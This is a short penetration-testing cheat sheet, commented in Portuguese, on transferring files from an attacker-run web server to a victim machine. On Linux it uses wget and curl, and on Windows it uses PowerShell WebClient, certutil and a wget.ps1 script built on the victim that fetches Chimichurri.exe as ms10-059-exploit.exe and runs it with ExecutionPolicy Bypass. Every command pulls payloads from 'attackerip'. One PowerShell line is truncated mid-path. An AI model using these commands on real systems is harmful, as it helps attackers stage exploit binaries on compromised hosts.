File Transfer

LINUX

#Primeiramente criamos um servidor web em nossa própria máquina;

python -m SimpleHTTPServer <port>

#Então colocamos nosso arquivo no servidor web;

wget http://attackerip/file

wget -Uri http://teuip/arquivo -OutFile arquivo.exe -Verbose

curl http://attackerip/file > file

- ----------

WINDOWS

#Primeiramente criamos um servidor web em nossa própria máquina;

python -m SimpleHTTPServer <port>

OPTION 1:

#Então colocamos nosso arquivo no servidor web;

powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://attackerip/WindowsEnum/WindowsEnum.ps1','C:\Users\Public\Downloads\WindowsEnu

OPTION 2:

#Executamos os seguintes comandos no sistema da vítima, respectivamente;

echo $webclient = New-Object System.Net.WebClient >>wget.ps1

echo $url = "http://attackerip:port/Chimichurri.exe" >>wget.ps1

echo $file = "ms10-059-exploit.exe" >>wget.ps1

echo $webclient.DownloadFile($url,$file) >>wget.ps1

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

OPTION 3:

#Então colocamos nosso arquivo no servidor web;

certutil.exe -urlcache -split -f "http://attackerip/file.exe"